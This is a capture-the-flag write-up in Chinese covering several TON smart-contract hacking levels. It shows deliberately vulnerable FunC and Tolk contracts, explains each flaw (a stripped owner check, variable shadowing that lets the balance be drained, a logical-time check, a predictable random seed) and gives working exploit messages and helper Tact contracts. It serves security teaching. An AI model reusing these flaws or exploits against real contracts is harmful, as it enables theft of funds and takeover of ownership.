;; storage variables

global slice ctx_player;
global int ctx_nonce;
global slice ctx_owner;
global int ctx_locked;

;; load_data populates storage variables using stored data
() load_data() impure {
    var ds = get_data().begin_parse();

    ctx_player = ds~load_msg_addr();
    ctx_nonce = ds~load_uint(32);
    ctx_owner = ds~load_msg_addr();
    ctx_locked = ds~load_int(1);

    ds.end_parse();
}

;; save_data stores storage variables as a cell into persistent storage
() save_data() impure {
    set_data(
        begin_cell()
            .store_slice(ctx_player)
            .store_uint(ctx_nonce, 32)
            .store_slice(ctx_owner)
            .store_int(ctx_locked, 1)
        .end_cell()
    );
}

() check_owner(slice sender) {
    throw_unless(501, equal_slice_bits(sender, ctx_owner));
}

;; recv_internal is the main function of the contract and is called when it receives a message from other contracts
() recv_internal(int my_balance, int msg_value, cell in_msg_full, slice in_msg_body) impure {
    if (in_msg_body.slice_empty?()) { ;; ignore all empty messages
        return ();
    }

    slice cs = in_msg_full.begin_parse();
    int flags = cs~load_uint(4);
    if (flags & 1) { ;; ignore all bounced messages
        return ();
    }
    slice sender_address = cs~load_msg_addr();

    load_data(); ;; here we populate the storage variables

    int op = in_msg_body~load_uint(32); ;; by convention, the first 32 bits of incoming message is the op

    ;; receive "check" message
    if (equal_slice_bits(in_msg_body, "check")) {
        ;; send CheckLevelResult msg
        cell msg_body = begin_cell()
            .store_uint(0x6df37b4d, 32)
            .store_ref(begin_cell().store_slice("access").end_cell())
            .store_int(~ ctx_locked, 1)
        .end_cell();
        builder msg = begin_cell()
            .store_uint(0x18, 6)
            .store_slice(sender_address)
            .store_coins(0)
            .store_uint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .store_ref(msg_body);

        ;; send all the remaining value
        send_raw_message(msg.end_cell(), 64);
        return ();
    }

    if (op == op::unlock) {
        ctx_locked = ~ equal_slice_bits(ctx_player, ctx_owner);
        save_data();
        return ();
    }

    if (op == op::change_owner) {
        check_owner(sender_address);
        throw_unless(502, ctx_nonce == 9999);
        ctx_owner = in_msg_body~load_msg_addr();
        save_data();
        return ();
    }

    if (op == op::change_nonce) {
        ctx_nonce = in_msg_body~load_uint(32);
        save_data();
        return ();
    }

    throw(0xffff); ;; if the message contains an op that is not known to this contract, we throw
}

;; get methods are a means to conveniently read contract data using, for example, HTTP APIs
;; they are marked with method_id
;; note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

int nonce() method_id {
    load_data();
    return ctx_nonce;
}

slice owner() method_id {
    load_data();
    return ctx_owner;
}

int locked() method_id {
    load_data();
    return ctx_locked;
}

  • 解锁需要 ctx_owner 是 ctx_player

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    if (op == op::unlock) {
    ctx_locked = ~ equal_slice_bits(ctx_player, ctx_owner);
    save_data();
    return ();
}

  • 操作 op::change_owner 调用函数 check_owner() 检查调用者是否为 ctx_owner，但由于未使用 impure 标识符且没有检查函数调用的结果，该函数调用会在编译时被移除

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    () check_owner(slice sender) {
    throw_unless(501, equal_slice_bits(sender, ctx_owner));
}

  • 因此，先修改 ctx_nonce 再更新 ctx_owner，即可解锁

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    > await contract.send(player, beginCell().storeUint(0x8caa87bd, 32).storeUint(9999, 32).endCell(), toNano("0.01"));
> await contract.send(player, beginCell().storeUint(0xf1eef33c, 32).storeAddress(player.address).endCell(), toNano("0.01"));
> await contract.send(player, beginCell().storeUint(0xf0fd50bb, 32).endCell(), toNano("0.01"));

14. DONATE

You will beat this level if you manage to reduce its balance to 0.

Donate 
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#include "../imports/stdlib.fc";

const donation_goal = 1000000000;
const gas_consumption = 5000000; 

const op::change_destination = "op::change_destination"c; ;; create an opcode from string using the "c" prefix, this results in 0xbaed25a6 opcode in this case
const op::withdraw = "op::withdraw"c; ;; create an opcode from string using the "c" prefix, this results in 0xcb03bfaf opcode in this case
const op::donate = "op::donate"c; ;; create an opcode from string using the "c" prefix, this results in 0x47bbe425 opcode in this case

;; storage variables

global slice player;
global int nonce;
global slice owner;
global slice destination;
global int donations_count;

;; load_data populates storage variables using stored data
() load_data() impure {
    var ds = get_data().begin_parse();

    player = ds~load_msg_addr();
    nonce = ds~load_uint(32);
    owner = ds~load_msg_addr();
    destination = ds~load_msg_addr();
    donations_count = ds~load_uint(32);

    ds.end_parse();
}

;; save_data stores storage variables as a cell into persistent storage
() save_data() impure {
    set_data(
        begin_cell()
            .store_slice(player)
            .store_uint(nonce, 32)
            .store_slice(owner)
            .store_slice(destination)
            .store_uint(donations_count, 32)
        .end_cell()
    );
}

;; recv_internal is the main function of the contract and is called when it receives a message from other contracts
() recv_internal(int my_balance, int msg_value, cell in_msg_full, slice in_msg_body) impure {
    if (in_msg_body.slice_empty?()) { ;; ignore all empty messages
        return ();
    }

    slice cs = in_msg_full.begin_parse();
    int flags = cs~load_uint(4);
    if (flags & 1) { ;; ignore all bounced messages
        return ();
    }
    slice sender_address = cs~load_msg_addr();

    load_data(); ;; here we populate the storage variables

    int op = in_msg_body~load_uint(32); ;; by convention, the first 32 bits of incoming message is the op

    ;; receive "check" message
    if (equal_slice_bits(in_msg_body, "check")) {
        ;; send CheckLevelResult msg
        cell msg_body = begin_cell()
            .store_uint(0x6df37b4d, 32)
            .store_ref(begin_cell().store_slice("donate").end_cell())
            .store_int(my_balance - msg_value == 0, 1)
        .end_cell();
        builder msg = begin_cell()
            .store_uint(0x18, 6)
            .store_slice(sender_address)
            .store_coins(0)
            .store_uint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .store_ref(msg_body);

        ;; send all the remaining value
        send_raw_message(msg.end_cell(), 64);
        return ();
    }

    if (op == op::change_destination) {
        throw_unless(501, equal_slice_bits(sender_address, owner));
        var new_destination = in_msg_body~load_msg_addr();
        destination = new_destination;
        save_data();
        return ();
    }

    if (op == op::withdraw) {
        throw_unless(502, equal_slice_bits(sender_address, destination));
        builder msg = begin_cell()
            .store_uint(0x18, 6)
            .store_slice(destination)
            .store_coins(0)
            .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1);

        ;; send all the contract balance
        send_raw_message(msg.end_cell(), 128);
        return ();
    }

    if (op == op::donate) {
        throw_unless(503, my_balance - msg_value < donation_goal);

        if (my_balance > donation_goal) {
            var destination = in_msg_body~load_msg_addr();
            builder msg = begin_cell()
                .store_uint(0x18, 6)
                .store_slice(destination)
                .store_coins(my_balance - donation_goal - gas_consumption)
                .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1);

            send_raw_message(msg.end_cell(), 0);
        }

        donations_count += 1;
        save_data();
        return ();
    }

    throw(0xffff); ;; if the message contains an op that is not known to this contract, we throw
}

;; get methods are a means to conveniently read contract data using, for example, HTTP APIs
;; they are marked with method_id
;; note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

slice _owner() method_id {
    load_data();
    return owner;
}

slice _destination() method_id {
    load_data();
    return destination;
}

int _donations_count() method_id {
    load_data();
    return donations_count;
}

int balance() method_id {
    [int value, _] = get_balance();
    return value;
}
  • 操作 op::withdraw 可以将合约所持有的所有 TON 都发送给调用者 destination
  • 修改 destination 的操作 op::change_destination 只有 owner 可以调用

  • 由于全局变量不能被重定义，当合约余额大于 donation_goal 时，操作 op::donate 实际上更新的是全局变量 destination，而不是其定义的本地变量

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    if (op == op::donate) {
    throw_unless(503, my_balance - msg_value < donation_goal);

    if (my_balance > donation_goal) {
        var destination = in_msg_body~load_msg_addr();
        builder msg = begin_cell()
            .store_uint(0x18, 6)
            .store_slice(destination)
            .store_coins(my_balance - donation_goal - gas_consumption)
            .store_uint(0, 1 + 4 + 4 + 64 + 32 + 1 + 1);

        send_raw_message(msg.end_cell(), 0);
    }

    donations_count += 1;
    save_data();
    return ();
}

  • 捐款并设置 destination，随后发送 op::withdraw 消息

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> await contract.send(player, beginCell().storeUint(0x47bbe425, 32).storeAddress(player.address).endCell(), toNano(1));
> await contract.send(player, beginCell().storeUint(0xcb03bfaf, 32).endCell(), toNano("0.01"));

References

15. LOGICAL

Unlock the contract below to complete this level.

Logical 
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// storage variables

global ctxPlayer: slice;
global ctxNonce: int;
global ctxLocked: bool;
global ctxPrevLogicalTime: int;
global ctxLogicalTimeDiff: int;

// loadData populates storage variables using stored data
fun loadData() {
    var ds = getContractData().beginParse();

    ctxPlayer = ds.loadAddress();
    ctxNonce = ds.loadUint(32);
    ctxLocked = ds.loadBool();
    ctxPrevLogicalTime = ds.loadUint(64);
    ctxLogicalTimeDiff = ds.loadUint(32);

    ds.assertEndOfSlice();
}

// saveData stores storage variables as a cell into persistent storage
fun saveData() {
    setContractData(
        beginCell()
            .storeSlice(ctxPlayer)
            .storeUint(ctxNonce, 32)
            .storeBool(ctxLocked)
            .storeUint(ctxPrevLogicalTime, 64)
            .storeUint(ctxLogicalTimeDiff, 32)
        .endCell()
    );
}

// onInternalMessage is the main function of the contract and is called when it receives a message from other contracts
fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) {
    if (inMsgBody.isEndOfSlice()) { // ignore all empty messages
        return;
    }

    var cs: slice = inMsgFull.beginParse();
    val flags: int = cs.loadUint(4);
    if (flags & 1) { // ignore all bounced messages
        return;
    }
    val senderAddress: slice = cs.loadAddress();

    loadData(); // here we populate the storage variables

    inMsgBody.skipBits(32); // by convention, the first 32 bits of incoming message is the op

    // receive "check" message
    if (isSliceBitsEqual(inMsgBody, "check")) {
        // send CheckLevelResult msg
        val msgBody: cell = beginCell()
            .storeUint(0x6df37b4d, 32)
            .storeRef(beginCell().storeSlice("logical").endCell())
            .storeBool(!ctxLocked)
        .endCell();
        val msg: builder = beginCell()
            .storeUint(0x18, 6)
            .storeSlice(senderAddress)
            .storeCoins(0)
            .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .storeRef(msgBody);

        // send all the remaining value
        sendRawMessage(msg.endCell(), 64);
        return;
    }

    if (getLogicalTime() - ctxPrevLogicalTime == ctxLogicalTimeDiff) {
        ctxLocked = false;
    }
    ctxPrevLogicalTime = getLogicalTime();
    saveData();
}

// get methods are a means to conveniently read contract data using, for example, HTTP APIs
// note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

get locked(): bool {
    loadData();
    return ctxLocked;
}

get prevLogicalTime(): int {
    loadData();
    return ctxPrevLogicalTime;
}

get logicalTimeDiff(): int {
    loadData();
    return ctxLogicalTimeDiff;
}

  • 当当前交易的逻辑时间和上一交易的逻辑时间之差为 ctxLogicalTimeDiff 时，可以解锁

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    if (getLogicalTime() - ctxPrevLogicalTime == ctxLogicalTimeDiff) {
    ctxLocked = false;
}
ctxPrevLogicalTime = getLogicalTime();

  • 获取 ctxLogicalTimeDiff 的值

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    > await contract.getLogicalTimeDiff();
1n

  • 由于要求逻辑时间差仅为 1，可以从同一个合约中发出两条消息

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    import "@stdlib/deploy";

message Send {
    target: Address;
}

contract MultiMessageSender with Deployable {

    receive(msg: Send) {
        repeat(2) {
            send(SendParameters{
                to: msg.target,
                value: ton("0.008"),
                mode: SendDefaultMode + SendPayGasSeparately,
                body: beginCell().storeUint(0, 32).endCell()
            });
        }
    }
}

16. SEED

Unlock the contract below to complete this level.

Seed 
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const OP_UNLOCK = "op::unlock"c; // create an opcode from string using the "c" prefix, this results in 0xf0fd50bb opcode in this case

// storage variables

global ctxPlayer: slice;
global ctxNonce: int;
global ctxLocked: bool;
global ctxSeed: int;

// loadData populates storage variables using stored data
fun loadData() {
    var ds = getContractData().beginParse();

    ctxPlayer = ds.loadAddress();
    ctxNonce = ds.loadUint(32);
    ctxLocked = ds.loadBool();
    ctxSeed = ds.loadUint(256);

    ds.assertEndOfSlice();
}

// saveData stores storage variables as a cell into persistent storage
fun saveData() {
    setContractData(
        beginCell()
            .storeSlice(ctxPlayer)
            .storeUint(ctxNonce, 32)
            .storeBool(ctxLocked)
            .storeUint(ctxSeed, 256)
        .endCell()
    );
}

// onInternalMessage is the main function of the contract and is called when it receives a message from other contracts
fun onInternalMessage(myBalance: int, msgValue: int, inMsgFull: cell, inMsgBody: slice) {
    if (inMsgBody.isEndOfSlice()) { // ignore all empty messages
        return;
    }

    var cs: slice = inMsgFull.beginParse();
    val flags: int = cs.loadUint(4);
    if (flags & 1) { // ignore all bounced messages
        return;
    }
    val senderAddress: slice = cs.loadAddress();

    loadData(); // here we populate the storage variables

    val op: int = inMsgBody.loadUint(32); // by convention, the first 32 bits of incoming message is the op

    // receive "check" message
    if (isSliceBitsEqual(inMsgBody, "check")) {
        // send CheckLevelResult msg
        val msgBody: cell = beginCell()
            .storeUint(0x6df37b4d, 32)
            .storeRef(beginCell().storeSlice("seed").endCell())
            .storeBool(!ctxLocked)
        .endCell();
        val msg: builder = beginCell()
            .storeUint(0x18, 6)
            .storeSlice(senderAddress)
            .storeCoins(0)
            .storeUint(1, 1 + 4 + 4 + 64 + 32 + 1 + 1)
            .storeRef(msgBody);

        // send all the remaining value
        sendRawMessage(msg.endCell(), 64);
        return;
    }

    if (op == OP_UNLOCK) {
        val guess: int = inMsgBody.loadUint(256);
        if (ctxSeed == 0) {
            ctxSeed = random();
        }
        randomSetSeed(ctxSeed);
        ctxSeed = random();
        if (guess == ctxSeed) {
            ctxLocked = false;
        }
        saveData();
        return;
    }

    throw 0xffff; // if the message contains an op that is not known to this contract, we throw
}

// get methods are a means to conveniently read contract data using, for example, HTTP APIs
// note that unlike in many other smart contract VMs, get methods cannot be called by other contracts

get locked(): bool {
    loadData();
    return ctxLocked;
}

get seed(): int {
    loadData();
    return ctxSeed;
}

  • 当 ctxSeed 不为 0 时，将直接设置 seed 并获取随机数作为下一个 seed

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    if (op == OP_UNLOCK) {
    val guess: int = inMsgBody.loadUint(256);
    if (ctxSeed == 0) {
        ctxSeed = random();
    }
    randomSetSeed(ctxSeed);
    ctxSeed = random();
    if (guess == ctxSeed) {
        ctxLocked = false;
    }
    saveData();
    return;
}

  • 发送一条消息初始化 seed

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    > await contract.send(player, beginCell().storeUint(0xf0fd50bb, 32).storeUint(0, 256).endCell(), toNano("0.01"));

  • 在已知 seed 的情况下，可以通过辅助合约获取随机的结果

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    import "@stdlib/deploy";

message Random {
    prevSeed: Int as uint256;
    target: Address;
}

contract Guesser with Deployable {

    receive(msg: Random) {
        setSeed(msg.prevSeed);
        let guess: Int = nativeRandom();
        send(SendParameters{
            to: msg.target,
            value: ton("0.008"),
            mode: SendDefaultMode + SendPayGasSeparately,
            body: beginCell().storeUint(0xf0fd50bb, 32).storeUint(guess, 256).endCell()
        });
    }
}

References

最后更新: 2025年3月30日 22:21:02
Contributors: YanhuiJessica

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